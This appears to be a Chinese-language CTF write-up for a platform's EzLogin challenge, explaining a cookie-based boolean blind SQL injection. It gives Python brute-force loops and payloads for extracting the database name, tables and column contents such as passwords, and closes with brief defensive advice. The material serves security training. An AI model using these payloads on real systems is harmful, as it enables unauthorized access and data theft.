CTF新手必看:从青少年平台EzLogin题,彻底搞懂基于Cookie的SQL盲注攻击链
CTF新手必看从青少年平台EzLogin题彻底掌握Cookie型SQL盲注实战第一次参加CTF比赛时我盯着那道Web题目的登录界面发了半小时呆。页面只有一个简单的用户名输入框和登录按钮源码里却藏着复杂的Go语言处理逻辑。直到发现浏览器开发者工具里那个不起眼的TOKENcookie才恍然大悟——这就是突破点。本文将以青少年CTF练习平台的EzLogin题目为例带你用侦探般的思维拆解整个攻击链条。1. 攻击入口Cookie的玄机大多数CTF选手拿到Web题目的第一反应是测试用户名输入框的SQL注入。但在EzLogin这道题中真正的漏洞藏在看似无害的Cookie里。当你用浏览器开发者工具查看请求头时会发现一个经过多重编码的TOKEN字段。Cookie的解码过程首先进行Hex解码然后进行Base64解码最终得到一个JSON结构{ username: admin, token: md5哈希值, is_admin: 0 }关键发现点在于服务端没有验证这个Cookie的完整性而是直接解码后拼接到SQL查询中。这就像把大门的钥匙放在门垫下面——只要你能伪造合法的Cookie就能绕过认证。2. 布尔盲注的核心原理与常规注入不同盲注场景下我们看不到数据库报错或查询结果。EzLogin题目中判断注入是否成功的依据是注入成功时页面返回特殊字符注入失败时返回正常登录页面这种基于布尔值的回显差异就是我们构造攻击链的基础。举个例子当我们发送admin or 11#服务端执行的SQL可能是SELECT * FROM users WHERE usernameadmin or 11#由于11永远为真会返回数据库中的第一条记录。3. 手工爆破数据库信息3.1 确定数据库长度首先需要知道当前数据库名的长度这是后续爆破的基础。通过不断尝试不同长度值观察页面回显for length in range(1, 20): payload fadmin/**/or/**/length(database()){length}/**/# if in send_request(payload): print(f数据库长度: {length}) break注意/**/是SQL注释的变体常用于绕过空格过滤3.2 逐字符爆破数据库名知道长度后就可以用substr函数逐个字符爆破了。ASCII码32-126涵盖了所有可打印字符步骤操作示例Payload1定位字符位置substr(database(),1,1)2枚举ASCII值ascii(substr(database(),1,1))1003组合完整名称循环1-长度所有位置def get_database_name(length): name for i in range(1, length1): for char in range(32, 127): payload fadmin/**/or/**/ascii(substr(database(),{i},1)){char}/**/# if in send_request(payload): name chr(char) break return name4. 深入数据库结构探查4.1 获取表数量和信息利用information_schema这个元数据库我们可以探查目标数据库的结构-- 查询表数量 SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema当前数据库名 -- 查询表名 SELECT table_name FROM information_schema.tables WHERE table_schema当前数据库名 LIMIT 0,1对应的盲注Payload构造# 爆破第一张表名长度 payload admin/**/or/**/(select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemadatabase()/**/limit/**/0,1)5/**/#4.2 爆破字段和内容知道表名后同样的方法可用于获取字段名和内容字段爆破流程查询information_schema.columns获取字段数量逐个爆破字段名长度和ASCII值对关键字段(如password)进行内容提取# 爆破字段内容示例 def dump_column(table, column): data for i in range(1, 50): # 假设内容不超过50字符 for char in range(32, 127): payload fadmin/**/or/**/(select/**/ascii(substr((select/**/{column}/**/from/**/{table}/**/limit/**/0,1),{i},1)){char})/**/# if in send_request(payload): data chr(char) break return data5. 防御措施与学习建议虽然本文重点在攻击技术但理解防御同样重要。这类漏洞通常源于不可信的客户端输入直接拼接SQL缺乏参数化查询或预处理语句错误信息处理不当加固建议使用预编译语句Prepared Statements实施最小权限原则对Cookie等输入进行严格校验在CTF训练平台上实践时建议先手工完成整个注入流程而不是直接使用自动化工具。这能帮助你真正理解每个步骤的原理。当我第一次手工爆破出数据库名时那种成就感远比用工具跑出来强烈得多。